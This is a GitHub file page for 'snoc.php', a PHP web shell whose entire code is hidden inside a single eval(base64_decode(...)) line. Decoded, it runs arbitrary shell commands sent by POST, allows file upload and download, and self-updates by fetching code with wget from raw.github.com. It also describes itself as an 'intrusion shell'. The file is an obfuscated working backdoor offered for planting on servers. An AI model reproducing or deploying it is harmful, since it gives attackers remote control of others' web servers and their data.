-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathsnoc.php
More file actions
1 lines (1 loc) · 19.5 KB
/
snoc.php
File metadata and controls
1 lines (1 loc) · 19.5 KB
1
<?php eval(base64_decode("ZGVmaW5lKCdTTk9DX1ZFUlNJT04nLCAnMS4xJyk7CmRlZmluZSgnU05PQ19DT0RFTkFNRScsICdGbG9wcHlkcml2ZScpOwpmdW5jdGlvbiBjaGVja0NvbW1hbmQoKQp7CnJldHVybiBpc3NldCgkX1BPU1RbJ2MnXSk7Cn0KZnVuY3Rpb24gcnVuQ29tbWFuZCgpCnsKb2Jfc3RhcnQoKTsKJG91dD1zaGVsbF9leGVjKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydjJ10pKTsKaWYoaXNfbnVsbCgkb3V0KSkKewokb3V0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7Cn0Kb2JfZW5kX2NsZWFuKCk7Ci8vIEhUTUwgRXNjYXBpbmcgd2l0aCBodG1sZW50aXRpZXMKZWNobyhiYXNlNjRfZW5jb2RlKCI8YnIvPiIubmwyYnIoaHRtbGVudGl0aWVzKCRvdXQpKSkpOwp9CmZ1bmN0aW9uIGNoZWNrVmVyc2lvbkNoZWNrKCkKewppZiAoaXNzZXQoJF9QT1NUWyd2ZXJzaW9uQ2hlY2snXSkpIHsKcmV0dXJuIHRydWU7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGNoZWNrRmlsZVVwbG9hZCgpCnsKaWYoaXNzZXQoJF9HRVRbJ2YnXSkpCnsKcmV0dXJuIHRydWU7Cn1lbHNlIGlmKGlzc2V0KCRfR0VUWydmb28nXSkpCnsKJHRhcmdldF9wYXRoID0gIGJhc2VuYW1lKCAkX0ZJTEVTWydmb28nXVsnbmFtZSddKTsKaWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZvbyddWyd0bXBfbmFtZSddLCAkdGFyZ2V0X3BhdGgpKSB7CmVjaG8gIlRoZSBmaWxlICIuYmFzZW5hbWUoJF9GSUxFU1snZm9vJ11bJ25hbWUnXSkuCiIgaGFzIGJlZW4gdXBsb2FkZWQiOwp9IGVsc2V7CmVjaG8gIlRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgdGhlIGZpbGUsIHBsZWFzZSB0cnkgYWdhaW4hIjsKfQpyZXR1cm4gdHJ1ZTsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gY2hlY2tGaWxlRG93bmxvYWQoKQp7CmlmKGlzc2V0KCRfR0VUWydkJ10pKQp7CnJldHVybiB0cnVlOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBkb1ZlcnNpb25DaGVjaygpCnsKJHZlcnNpb25TdHJpbmcgPSBmYWxzZTsKLy8gd2Ugb3BlbiBhIHNvY2tldCBiZWNhdXNlIHdlIGhhdmUgbm8gZ3VhcmFudGVlIHRoYXQgZmlsZV9nZXRfY29uZW50cyBpcyBlbmFibGVkCiRmID0gQGZzb2Nrb3Blbignc3NsOi8vcmF3LmdpdGh1Yi5jb20nLCA0NDMpOwokcmVxdWVzdCA9ICJHRVQgL3N0ZXRyby9TTk9DL21hc3Rlci92ZXJzaW9uLmpzb24gSFRUUC8xLjFcclxuIjsKJHJlcXVlc3QuPSAiSG9zdDogcmF3LmdpdGh1Yi5jb21cclxuIjsKJHJlcXVlc3QuPSAiQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiI7CkBmd3JpdGUoJGYsICRyZXF1ZXN0KTsKd2hpbGUoIUBmZW9mKCRmKSkgewokbCA9IEBmZ2V0cygkZiwgMTI4KTsKaWYgKHN0cnN0cigkbCwgJ3snKSkgewokdmVyc2lvblN0cmluZyA9ICRsOwp9Cn0KQGZjbG9zZSgkZik7CmlmICghJHZlcnNpb25TdHJpbmcpCmRpZShqc29uX2VuY29kZShhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UpKSk7CmVsc2UKZGllKCR2ZXJzaW9uU3RyaW5nKTsKfQpmdW5jdGlvbiBzaG93RmlsZURvd25sb2FkKCkKewokZmlsZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ2QnXSk7CmhlYWRlcignQ29udGVudC10eXBlOicuc2hlbGxfZXhlYygnZmlsZSAtaSAtYiAnLiRmaWxlKSk7CmhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy5iYXNlbmFtZSgkZmlsZSkpOwplY2hvIHNoZWxsX2V4ZWMoJ2NhdCAnLiRmaWxlKTsKfQpmdW5jdGlvbiBzaG93RmlsZVVwbG9hZCgpCnsKZWNobyAnCjxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iJy5iYXNlbmFtZShfX0ZJTEVfXykuJz9mb289MSIgbWV0aG9kPSJQT1NUIiBzdHlsZT0iZm9udC1zaXplOjEycHg7Zm9udC1mYW1pbHk6IG1vbm9zcGFjZTsiPgpVcGxvYWQgdG86Jy5kaXJuYW1lKF9fRklMRV9fKS4nPGJyLz48aW5wdXQgbmFtZT0iZm9vIiB0eXBlPSJmaWxlIiAvPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRG8iIC8+CjwvZm9ybT4nOwp9CmZ1bmN0aW9uIGVjaG9TaGVsbCgpCnsKZWNob0hlYWQoKTsKZWNob0pTKCk7CmVjaG9Gb290KCk7Cn0KZnVuY3Rpb24gZWNob0Zvb3QoKQp7CmVjaG8gJzx0aXRsZT5TTk9DIC0gU2hlbGwgaXMgTm90IGFuIE9pbCBDb21wYW55PC90aXRsZT4KPC9oZWFkPgo8Ym9keSBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij4KPGRpdiBpZD0ic2hlbGwiPgo8ZGl2IGlkPSJvdXQiPjwvZGl2Pgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaW5wdXQiIHZhbHVlPSIiIGlkPSJjb21tYW5kIiAvPgo8ZGl2IGlkPSJkaXIiPjwvZGl2Pgo8ZGl2IGlkPSJhY3Rpb24iPgo8c2VsZWN0IG5hbWU9ImFjdGlvbiIgaWQ9InNlbGVjdGlvbiI+CjxvcHRpb24gdmFsdWU9IjAiPldlaXRlcmUgRnVua3Rpb25lbiAuLi48L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMyI+cGluZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyIj53aGljaCBkb3dubG9hZGVyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQiPnNob3cgb3BlbmVkIHBvcnRzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUiPmFjdGl2ZSBjb25uZWN0aW9uczwvb3B0aW9uPgo8L3NlbGVjdD4KPC9kaXY+CjwvZGl2Pgo8ZGl2Pgo8IS0tPGlmcmFtZSBzcmM9IicuYmFzZW5hbWUoX19GSUxFX18pLic/Zj0xIiB3aWR0aD0iNjAwIj48L2lmcmFtZT4tLT4KPC9kaXY+CjwvYm9keT4KPC9odG1sPic7Cn0KZnVuY3Rpb24gZWNob0pTKCkKewplY2hvICc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgovLyA8IVtDREFUQVsKJzsKPz4KJC5jdHJsID0gZnVuY3Rpb24oa2V5LCBjYWxsYmFjaywgYXJncykgewp2YXIgaXNDdHJsID0gZmFsc2U7CiQoZG9jdW1lbnQpLmtleWRvd24oZnVuY3Rpb24oZSkgewppZighYXJncykgYXJncz1bXTsKaWYoZS5jdHJsS2V5KSBpc0N0cmwgPSB0cnVlOwppZihlLmtleUNvZGUgPT0ga2V5LmNoYXJDb2RlQXQoMCkgJiYgaXNDdHJsKSB7CmNhbGxiYWNrLmFwcGx5KHRoaXMsIGFyZ3MpOwpyZXR1cm4gZmFsc2U7Cn0KfSkua2V5dXAoZnVuY3Rpb24oZSkgewppZihlLmN0cmxLZXkpIGlzQ3RybCA9IGZhbHNlOwp9KTsKfTsKZnVuY3Rpb24gU2hlbGwoKXsKdmFyIHNub2NfdmVyc2lvbiA9ICI8Pz1TTk9DX1ZFUlNJT04/PiI7CnZhciBzbm9jX3ZlcnNpb25fY29kZW5hbWUgPSAiPD89U05PQ19DT0RFTkFNRT8+IjsKdmFyIGN1cnJlbnRfZGlyID0gIjw/cGhwIGVjaG8gZGlybmFtZShfX0ZJTEVfXyk7ICA/PiI7CnZhciBzZWxmX25hbWUgPSB3aW5kb3cubG9jYXRpb24ucGF0aG5hbWUuc3Vic3RyaW5nKHdpbmRvdy5sb2NhdGlvbi5wYXRobmFtZS5sYXN0SW5kZXhPZignLycpKzEpOwp2YXIgaGlzdG9yeSA9IG5ldyBBcnJheSgpOwp2YXIgaGlzdG9yeV9wb3MgPSAwOwp2YXIga25vd25Db21tYW5kcyA9IFsibHMiLCJjZCIsImNsZWFyIiwibWFuIiwicGluZyIsIm5ldHN0YXQiLCJtb3JlIiwibGVzcyIsImRpZmYiLCJybSIsIm1rZGlyIiwibXYiLCJjcCIsIndjIiwiY2htb2QiLCJjYXQiLCAic25vY3VwZGF0ZSJdOwp2YXIgZGlzcGxheUFsbCA9IGZhbHNlOwp2YXIgdGVtcEZvdW5kQ29tbWFuZHMgPSBbXTsKdmFyIGRpc3BsYXllZCA9IGZhbHNlOwpyZWFkUGF0aCgpOwp2YXIgYWxpYXNlcyA9IHtsbDoibHMgLWwiLGxhOiJscyAtYSJ9OwokKCIjY29tbWFuZCIpLmZvY3VzKCk7CiQoIiNkaXIiKS5lbXB0eSgpLmFwcGVuZChjdXJyZW50X2Rpcik7CmZvcih2YXIgaT0wO2k8MjtpKyspCiQoIiNvdXQiKS5hcHBlbmQoIjxici8+Iik7CnByaW50U2hlbGwoJzxwcmUgc3R5bGU9Im1hcmdpbi1sZWZ0OiA1MHB4Ij4gIyMjIyMgICMgICAgICMgIyMjIyMjIyAgIyMjIyM8YnIgLz4nKwonIyAgICAgIyAjIyAgICAjICMgICAgICMgIyAgICAgIzxiciAvPicrCicjICAgICAgICMgIyAgICMgIyAgICAgIyAjICAgICAgPGJyIC8+JysKJyAjIyMjIyAgIyAgIyAgIyAjICAgICAjICMgICAgICAgPGJyIC8+JysKJyAgICAgICMgIyAgICMgIyAjICAgICAjICMgICAgICAgPGJyIC8+JysKJyMgICAgICMgIyAgICAjIyAjICAgICAjICMgICAgICMgPGJyIC8+JysKJyAjIyMjIyAgIyAgICAgIyAjIyMjIyMjICAjIyMjIyAgPGJyIC8+JysKJzwvcHJlPjxiciAvPicpOwpwcmludFNoZWxsKCc8c3BhbiBzdHlsZT0ibWFyZ2luLWxlZnQ6NTBweCI+U2hlbGwgaXMgTm90IGFuIE9pbCBDb21wYW55PC9zcGFuPjxiciAvPjxiciAvPjxzcGFuIHN0eWxlPSJtYXJnaW4tbGVmdDo1MHB4OyI+VmVyc2lvbiAnK3Nub2NfdmVyc2lvbisnICcrc25vY192ZXJzaW9uX2NvZGVuYW1lKyc8L3NwYW4+PGJyIC8+PGJyIC8+Jyk7CnByaW50U2hlbGwoIjxwPldlbGNvbWUgdG8gdGhlIFNOT0Mgc2hlbGwuIEZvciBtb3JlIGluZm8gb24gd2hhdCB5b3UgY2FuIGRvIHdpdGggU05PQywgdHlwZSAnaGVscCcgb24gdGhlIHByb21wdC48L3A+IisKIjxwPjxiPkRJU0NMQUlNRVI6PC9iPiBBbHRob3VnaCBTTk9DIGhhcyBiZWVuIGRlc2lnbmVkIGFzIGFuIGludHJ1c2lvbiBzaGVsbCwgcGxlYXNlIG5vdGljZSB0aGF0IHdlIHJlZnVzZSB0byBiZSBoZWxkICIrCiJyZXNwb25zaWJsZSBmb3IgdXNhZ2UgdGhhdCByZXN1bHRzIGluIGlsbGVnYWwgYWN0aW9ucy4gV2Ugc3Ryb25nbHkgYWR2aXNlIHlvdSB0byB1c2UgU05PQyBvbmx5IGZvciB0ZXN0aW5nIGFuZCBkZW1vICIrCiJwdXJwb3Nlcy48YnIgLz48YnIgLz48L3A+Iik7CnZlcnNpb25DaGVjaygpOwpwcmludFNoZWxsKCJDdXJyZW50IHVzZXIvc2VydmVyIHNldHVwOiIpOwpwb3N0U2hlbGwoInVuYW1lIC1hIixmdW5jdGlvbihkYXRhKSB7CnByaW50U2hlbGwoZGF0YSk7Cn0pOwpmdW5jdGlvbiBydW5Db21tYW5kKCl7CnZhciBjb21tYW5kID0gJCgiI2NvbW1hbmQiKS52YWwoKS50cmltKCk7CmFkZFRvSGlzdG9yeShjb21tYW5kKTsKdmFyIGNvbW1hbmRBcmdzID0gbmV3IEFycmF5KCk7CnZhciBjb21tYW5kTmFtZSA9IGNvbW1hbmQ7CmlmIChjb21tYW5kLmluZGV4T2YoIiAiKSAhPSAtMSkgewpjb21tYW5kQXJncyA9IGNvbW1hbmQuc3BsaXQoIiAiKTsKY29tbWFuZE5hbWUgPSBjb21tYW5kQXJnc1swXTsKfQpwcmludFNoZWxsKCI8YnIgLz48c3BhbiBzdHlsZT0nY29sb3I6ICM0NkNGNEYnPiIrY3VycmVudF9kaXIrIj48L3NwYW4+Jm5ic3A7Iitjb21tYW5kKTsKZm9yICh2YXIgYWxpYXMgaW4gYWxpYXNlcykgewppZiAoY29tbWFuZE5hbWU9PWFsaWFzKSB7CnByaW50U2hlbGwoIjxiciAvPiIrYWxpYXNlc1tjb21tYW5kTmFtZV0pOwpjb21tYW5kTmFtZSA9IGFsaWFzZXNbY29tbWFuZE5hbWVdOwpjb21tYW5kID0gY29tbWFuZE5hbWU7CmZvciAodmFyIGkgPSAxOyBpIDwgY29tbWFuZEFyZ3MubGVuZ3RoOyBpKyspIHsKY29tbWFuZCA9IGNvbW1hbmQgKyAiICIgKyBjb21tYW5kQXJnc1tpXTsKfQp9Cn0Kc3dpdGNoKGNvbW1hbmROYW1lKSB7CmNhc2UgImNsZWFyIjoKJCgiI291dCIpLmVtcHR5KCk7CiQoIiNjb21tYW5kIikudmFsKCIiKTsKZm9yKHZhciBpPTA7aTwyMTtpKyspCiQoIiNvdXQiKS5hcHBlbmQoIjxici8+Iik7CmJyZWFrOwpjYXNlICJoZWxwIjoKJCgiI2NvbW1hbmQiKS52YWwoIiIpOwpwcmludEhlbHAoKTsKYnJlYWs7CmNhc2UgImFsaWFzIjoKJCgiI2NvbW1hbmQiKS52YWwoIiIpOwpkb0FsaWFzKGNvbW1hbmRBcmdzWzFdKTsKYnJlYWs7CmNhc2UgInNub2N1cGRhdGUiOgokKCIjY29tbWFuZCIpLnZhbCgiIik7CmRvU25vY1VwZGF0ZSgpOwpicmVhazsKY2FzZSAiIjpicmVhazsKZGVmYXVsdDoKJCgiI2NvbW1hbmQiKS52YWwoIiIpOwp2YXIgZnVsbGNvbW1hbmQgPSAiY2QgIitjdXJyZW50X2RpcisiOyIrY29tbWFuZCsiIDI+JjE7cHdkIjsKcG9zdFNoZWxsKGZ1bGxjb21tYW5kLGZ1bmN0aW9uKGRhdGEpewppZihjb21tYW5kLm1hdGNoKC9eZG93bmxvYWQvKSAhPSBudWxsKQp7CnN0YXJ0RG93bmxvYWQoY29tbWFuZCk7CnJldHVybjsKfQpmb3IodmFyIGk9ZGF0YS5sZW5ndGgtMztpPjA7aS0tKSB7CmlmKGRhdGFbaV0gPT0gIj4iKQpicmVhazsKfQp2YXIgb3V0cHV0PSBkYXRhLnN1YnN0cigwLGkrMSk7CmN1cnJlbnRfZGlyID0gZGF0YS5zdWJzdHIoaSsxLGRhdGEubGVuZ3RoKS5yZXBsYWNlKC8oPChbXj5dKyk+KS9pZywiIikucmVwbGFjZSgvXG4vZywiIik7CnByaW50U2hlbGwob3V0cHV0KTsKJCgiI2RpciIpLmVtcHR5KCkuYXBwZW5kKGN1cnJlbnRfZGlyKTsKfSk7CmJyZWFrOwp9Cn0KZnVuY3Rpb24gYWRkVG9IaXN0b3J5KGNtZCkKewpoaXN0b3J5LnB1c2goY21kKTsKaGlzdG9yeV9wb3MgPSBoaXN0b3J5Lmxlbmd0aDsKfQpmdW5jdGlvbiBsb2FkSGlzdG9yeShuKQp7CmlmKCBuPDEgKQp7CmlmIChoaXN0b3J5X3BvcyA8IGhpc3RvcnkubGVuZ3RoKSB7CiQoIiNjb21tYW5kIikudmFsKGhpc3RvcnlbaGlzdG9yeV9wb3NdKTsKaGlzdG9yeV9wb3MrKzsKcmV0dXJuOwp9Cn0KZWxzZQp7CmlmIChoaXN0b3J5X3BvcyA+IDApIHsKJCgiI2NvbW1hbmQiKS52YWwoaGlzdG9yeVtoaXN0b3J5X3Bvcy0xXSk7Cmhpc3RvcnlfcG9zLS07CnJldHVybjsKfQp9CiQoIiNjb21tYW5kIikudmFsKCIiKTsKfQpmdW5jdGlvbiBzdGFydERvd25sb2FkKGNvbW1hbmQpCnsKZmlsZSA9IGN1cnJlbnRfZGlyKyIvIitjb21tYW5kLnN1YnN0cig4LGNvbW1hbmQubGVuZ3RoKS50cmltKCk7CndpbmRvdy5vcGVuKCI/ZD0iK2J0b2EoZmlsZSkpOwp9CmZ1bmN0aW9uIGF1dG9jb21wbGV0ZSgpCnsKdmFyIGZvdW5kQ29tbWFuZHMgPSBuZXcgQXJyYXkoKTsKdmFyIGlucHV0ID0gJCgiI2NvbW1hbmQiKS52YWwoKTsKZm9yIChjIGluIGtub3duQ29tbWFuZHMpIHsKaWYgKGtub3duQ29tbWFuZHNbY10uc3Vic3RyaW5nKDAsaW5wdXQubGVuZ3RoKT09PWlucHV0KSB7CmZvdW5kQ29tbWFuZHMucHVzaChrbm93bkNvbW1hbmRzW2NdKTsKfQp9CmlmIChmb3VuZENvbW1hbmRzLmxlbmd0aD09MSkgewokKCIjY29tbWFuZCIpLnZhbChmb3VuZENvbW1hbmRzWzBdKTsKfSBlbHNlIGlmIChmb3VuZENvbW1hbmRzLmxlbmd0aD4xKSB7CnZhciBsZW4gPSBmb3VuZENvbW1hbmRzLmxlbmd0aDsKcHJpbnRTaGVsbCgiRGlzcGxheSBhbGwgIitsZW4rIiBwb3NzaWJpbGl0aWVzPyAoUHJlc3MgVEFCKTxiciAvPiIpOwpkaXNwbGF5QWxsID0gdHJ1ZTsKdGVtcEZvdW5kQ29tbWFuZHMgPSBmb3VuZENvbW1hbmRzOwp9Cn0KZnVuY3Rpb24gYWxsQ29tbWFuZHMoKSB7CmZvciAoYyBpbiB0ZW1wRm91bmRDb21tYW5kcykgewpwcmludFNoZWxsKHRlbXBGb3VuZENvbW1hbmRzW2NdKyIgIik7Cn0KcHJpbnRTaGVsbCgiPGJyIC8+Iik7CmRpc3BsYXllZCA9IHRydWU7Cn0KZnVuY3Rpb24gcmVhZFBhdGgoKSB7CnBvc3RTaGVsbCgiZWNobyAkUEFUSCIsZnVuY3Rpb24ocGF0aExpc3Qpewp2YXIgcGF0aEZvbGRlcnM9cGF0aExpc3Quc3BsaXQoIjoiKTsKZm9yIChwIGluIHBhdGhGb2xkZXJzKSB7CnZhciBmb2xkZXIgPSBwYXRoRm9sZGVyc1twXS5yZXBsYWNlKC88YnJccypcLz4vZywnJyk7CnBvc3RTaGVsbCgibHMgIitwYXRoRm9sZGVyc1twXSxmdW5jdGlvbihjTGlzdCkgewp2YXIgY29tbWFuZHMgPSBjTGlzdC5zcGxpdCgvPGJyXHMqXC8+L2cpOwpmb3IgKGMgaW4gY29tbWFuZHMpIHsKdmFyIGNvbW1hbmQgPSBjb21tYW5kc1tjXS50cmltKCk7CmlmICghY29udGFpbnMoa25vd25Db21tYW5kcyxjb21tYW5kKSkgewprbm93bkNvbW1hbmRzLnB1c2goY29tbWFuZCk7Cn0KfQp9KTsKfQp9KTsKfQpmdW5jdGlvbiBwcmludEhlbHAoKXsKcHJpbnRTaGVsbCgiPGJyLz48YnIvPjx0YWJsZT4iKwoiPHRyPjx0aCB3aWR0aD0xNTA+RnVuY3Rpb25zPC90aD48dGg+VXNhZ2U8L3RoPjwvdHI+IisKIjx0cj48dGQ+ZG93bmxvYWQgW2ZpbGVdPC90ZD48dGQ+ZG93bmxvYWQgW2ZpbGVdIGZyb20gY3VycmVudCBkaXJlY3Rvcnk8L3RkPjwvdHI+IisKIjx0cj48dGQ+c25vY3VwZGF0ZTwvdGQ+PHRkPnNub2Mgc2hlbGwgYXV0byB1cGRhdGU8L3RkPjwvdHI+IisKIjx0cj48dGQ+Y2xlYXI8L3RkPjx0ZD5jbGVhciBzaGVsbCBwcm9tcHQ8L3RkPjwvdHI+IisKIjwvdGFibGU+PGJyLz48YnIvPiIpOwp9CmZ1bmN0aW9uIGRvU25vY1VwZGF0ZSgpIHsKcHJpbnRTaGVsbCgiPGJyIC8+U3RhcnRpbmcgc25vYyBzaGVsbCBhdXRvIHVwZGF0ZS4uPGJyIC8+Iik7CmxvbFdBUyA9ICdodHRwczovJzsKY29tbWFuZCA9ICJ3Z2V0ICciK2xvbFdBUysiL3Jhdy5naXRodWIuY29tL3N0ZXRyby9TTk9DL21hc3Rlci9zbm9jLnBocCcgLU8gIitjdXJyZW50X2RpcisiLyIrc2VsZl9uYW1lOwp2YXIgZnVsbGNvbW1hbmQgPSAiY2QgIitjdXJyZW50X2RpcisiOyIrY29tbWFuZCsiIDI+JjE7cHdkIjsKcG9zdFNoZWxsKGZ1bGxjb21tYW5kLGZ1bmN0aW9uKGRhdGEpewpmb3IodmFyIGk9ZGF0YS5sZW5ndGgtMztpPjA7aS0tKSB7CmlmKGRhdGFbaV0gPT0gIj4iKQpicmVhazsKfQp2YXIgb3V0cHV0PSBkYXRhLnN1YnN0cigwLGkrMSk7CmFib3J0ID0gZmFsc2U7CmlmIChvdXRwdXQubWF0Y2goIm5vdCBmb3VuZCIpKSB7Cm91dHB1dCA9ICJ3Z2V0IG5vdCBmb3VuZC4gRG93bmxvYWQgZmFpbGVkLjxiciAvPiI7CmFib3J0ID0gdHJ1ZTsKfQpjdXJyZW50X2RpciA9IGRhdGEuc3Vic3RyKGkrMSxkYXRhLmxlbmd0aCkucmVwbGFjZSgvKDwoW14+XSspPikvaWcsIiIpLnJlcGxhY2UoL1xuL2csIiIpOwpwcmludFNoZWxsKG91dHB1dCk7CiQoIiNkaXIiKS5lbXB0eSgpLmFwcGVuZChjdXJyZW50X2Rpcik7CmlmICghYWJvcnQpCmxvY2F0aW9uLnJlbG9hZCgpOwp9KTsKfQpmdW5jdGlvbiBkb0FsaWFzKGFyZ3VtZW50KXsKcHJpbnRTaGVsbCgiPGJyIC8+Iik7CmlmIChhcmd1bWVudD09bnVsbCkgewpmb3IgKGEgaW4gYWxpYXNlcykgewpwcmludFNoZWxsKCJhbGlhcyAiK2ErIj0iK2FsaWFzZXNbYV0rIjxiciAvPiIpOwp9Cn0KZWxzZSBpZiAoYXJndW1lbnQuaW5kZXhPZigiPSIpID09IC0xKSB7CnByaW50U2hlbGwoImFsaWFzICIrYXJndW1lbnQrIj0iK2FsaWFzZXNbYXJndW1lbnRdKyI8YnIgLz4iKTsKfSBlbHNlIHsKdmFyIHBhcnRzID0gYXJndW1lbnQuc3BsaXQoIj0iKTsKdmFyIGNvbW1hbmQgPSBwYXJ0c1sxXTsKYWxpYXNlc1twYXJ0c1swXV0gPSBwYXJ0c1sxXTsKfQp9CmZ1bmN0aW9uIHByaW50U2hlbGwoc3RyaW5nKSB7CiQoIiNvdXQiKS5hcHBlbmQoc3RyaW5nKTsKJCgiI291dCIpLmFuaW1hdGUoe3Njcm9sbFRvcDogJCgiI291dCIpWzBdLnNjcm9sbEhlaWdodH0pOwp9CmZ1bmN0aW9uIGNvbnRhaW5zKGFycmF5LGVsZW1lbnQpIHsKZm9yIChpIGluIGFycmF5KSB7IGlmIChhcnJheVtpXT09ZWxlbWVudCkgcmV0dXJuIHRydWU7IH0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIHBvc3RTaGVsbChjb21tYW5kLGNhbGxiYWNrKSB7CnZhciBiNjQgPSBidG9hKGNvbW1hbmQpOwokLnBvc3QoIiIseyJjIjpiNjR9LGZ1bmN0aW9uKGRhdGEpIHsKdmFyIGRlY29kZWQgPSBhdG9iKGRhdGEpOwpjYWxsYmFjayhkZWNvZGVkKTsKfSk7Cn0KZnVuY3Rpb24gdmVyc2lvbkNoZWNrKCkgewokLnBvc3QoIiIseyJ2ZXJzaW9uQ2hlY2siOnRydWV9LGZ1bmN0aW9uKGRhdGEpIHsKaWYgKGRhdGEuc3VjY2VzcyA9PSBmYWxzZSkgewpwcmludFNoZWxsKCc8YnIgLz48cCBzdHlsZT0iY29sb3I6cmVkIj5WZXJzaW9uIGNoZWNrIGZhaWxlZC4gUGxlYXNlIGNvbnNpZGVyIG1hbnVhbCB1cGRhdGUgb3IgdHJ5IFwnc25vY3VwZGF0ZVwnLjwvcD4nKTsKfSBlbHNlIHsKaWYgKGRhdGEudmVyc2lvbiA+IHNub2NfdmVyc2lvbikgewp1cGRhdGVfc3RyaW5nID0gJ01vc3QgcmVjZW50IHNub2MgdmVyc2lvbjogJytkYXRhLnZlcnNpb24rJyAnK2RhdGEuY29kZW5hbWUrJy4gPGJyIC8+PHU+VXBkYXRlIHJlY29tbWVuZGVkISBUeXBlIFwnc25vY3VwZGF0ZVwnIGZvciBzbm9jIGF1dG8gdXBkYXRlJzsKfSBlbHNlIHsKdXBkYXRlX3N0cmluZyA9ICdNb3N0IHJlY2VudCBzbm9jIHZlcnNpb246ICcrZGF0YS52ZXJzaW9uKycgJytkYXRhLmNvZGVuYW1lKycuIE5vIHVwZGF0ZSByZXF1aXJlZC4nOwp9CnByaW50U2hlbGwoJzxiciAvPjxwPkluc3RhbGxlZCBzbm9jIHZlcnNpb246ICcrc25vY192ZXJzaW9uKycgJytzbm9jX3ZlcnNpb25fY29kZW5hbWUrJyAtICcrdXBkYXRlX3N0cmluZysnPC9wPicpOwp9Cn0sICdqc29uJyk7Cn0KJCgiI2NvbW1hbmQiKS5rZXlkb3duKGZ1bmN0aW9uKGV2ZW50KXsKdmFyIHJldHVyblZhbCA9IHRydWU7CnN3aXRjaChldmVudC53aGljaCkKewpjYXNlIDEzOgpldmVudC5wcmV2ZW50RGVmYXVsdCgpOwpydW5Db21tYW5kKCk7CnJldHVyblZhbCA9IGZhbHNlOwpicmVhazsKY2FzZSAzODoKZXZlbnQucHJldmVudERlZmF1bHQoKTsKbG9hZEhpc3RvcnkoMSk7CnJldHVyblZhbCA9IGZhbHNlOwpicmVhazsKY2FzZSA0MDoKZXZlbnQucHJldmVudERlZmF1bHQoKTsKbG9hZEhpc3RvcnkoMCk7CnJldHVyblZhbCA9IGZhbHNlOwpicmVhazsKY2FzZSA5OgpldmVudC5wcmV2ZW50RGVmYXVsdCgpOwppZiAoIWRpc3BsYXlBbGwpIHsKYXV0b2NvbXBsZXRlKCk7Cn0gZWxzZSBpZiAoIWRpc3BsYXllZCkgewphbGxDb21tYW5kcygpOwp9CnJldHVyblZhbCA9IGZhbHNlOwpicmVhazsKfQppZiAoZXZlbnQud2hpY2ghPTkpIHsKZGlzcGxheUFsbCA9IGZhbHNlOwpkaXNwbGF5ZWQgPSBmYWxzZTsKdGVtcEZvdW5kQ29tbWFuZHMgPSBbXTsKfQpyZXR1cm4gcmV0dXJuVmFsOwp9KTsKJC5jdHJsKCdDJywgZnVuY3Rpb24oKSB7CmV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiQoIiNjb21tYW5kIikudmFsKCIiKTsKcmV0dXJuVmFsID0gZmFsc2U7Cn0pOwokLmN0cmwoJ1UnLCBmdW5jdGlvbigpIHsKZXZlbnQucHJldmVudERlZmF1bHQoKTsKJCgiI2NvbW1hbmQiKS52YWwoIiIpOwpyZXR1cm5WYWwgPSBmYWxzZTsKfSk7CiQuY3RybCgnVycsIGZ1bmN0aW9uKCkgewpldmVudC5wcmV2ZW50RGVmYXVsdCgpOwokKCIjY29tbWFuZCIpLnZhbCgkKCIjY29tbWFuZCIpLnZhbCgpLnJlcGxhY2UoLyggPylcdyokLywgJycpKTsKcmV0dXJuVmFsID0gZmFsc2U7Cn0pOwokKCIjc2VsZWN0aW9uIikuY2hhbmdlKGZ1bmN0aW9uKCl7CnN3aXRjaCgkKHRoaXMpLnZhbCgpLnRyaW0oKSkKewpjYXNlICIyIjoKJCgiI2NvbW1hbmQiKS52YWwoIndoaWNoIHdnZXQgY3VybCB3M20gbHlueCIpOwpydW5Db21tYW5kKCk7CiQodGhpcykudmFsKDApCmJyZWFrOwpjYXNlICIzIjoKdmFyIGlwID0gcHJvbXB0KCJXaGljaCBJUC9BZHJlc3MiKTsKJCgiI2NvbW1hbmQiKS52YWwoInBpbmcgLWMgMyAiK2lwKTsKcnVuQ29tbWFuZCgpOwokKHRoaXMpLnZhbCgwKQpicmVhazsKY2FzZSAiNCI6CiQoIiNjb21tYW5kIikudmFsKCJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIik7CnJ1bkNvbW1hbmQoKTsKJCh0aGlzKS52YWwoMCkKYnJlYWs7CmNhc2UgIjUiOgokKCIjY29tbWFuZCIpLnZhbCgibmV0c3RhdCAtYSIpOwpydW5Db21tYW5kKCk7CiQodGhpcykudmFsKDApCmJyZWFrOwp9Cn0pOwp9CiQoZnVuY3Rpb24oKXsKdmFyIHNoID0gbmV3IFNoZWxsKCk7CiQoJyNvdXQnKS5jc3MoJ2hlaWdodCcsICQod2luZG93KS5oZWlnaHQoKS00MCk7CiQod2luZG93KS5yZXNpemUoZnVuY3Rpb24oKSB7CiQoJyNvdXQnKS5jc3MoJ2hlaWdodCcsICQod2luZG93KS5oZWlnaHQoKS00MCk7Cn0pOwp9KTsKPD9waHAgZWNobyAnLy8gXV0+PC9zY3